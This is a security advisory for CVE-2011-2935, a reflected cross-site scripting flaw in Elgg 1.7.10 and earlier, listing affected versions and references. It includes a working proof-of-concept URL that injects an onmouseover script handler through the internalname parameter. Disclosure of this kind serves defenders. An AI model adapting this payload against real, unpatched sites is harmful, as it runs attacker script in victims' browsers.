GHSA-mcfm-j5g6-w26fMediumCVSS 6.1
Elgg Reflected XSS Vulnerability
🔗 CVE IDs covered (1)
📋 Description
VULNERABILITY DESCRIPTION
The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser
PROOF-OF-CONCEPT/EXPLOIT
http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22
🎯 Affected products1
- composer/elgg/elgg:<= 1.7.10
🔗 References (8)
- https://nvd.nist.gov/vuln/detail/CVE-2011-2935
- https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities
- https://security-tracker.debian.org/tracker/CVE-2011-2935
- https://github.com/Elgg/Elgg/issues/3544
- https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04
- https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released
- http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin
- https://github.com/advisories/GHSA-mcfm-j5g6-w26f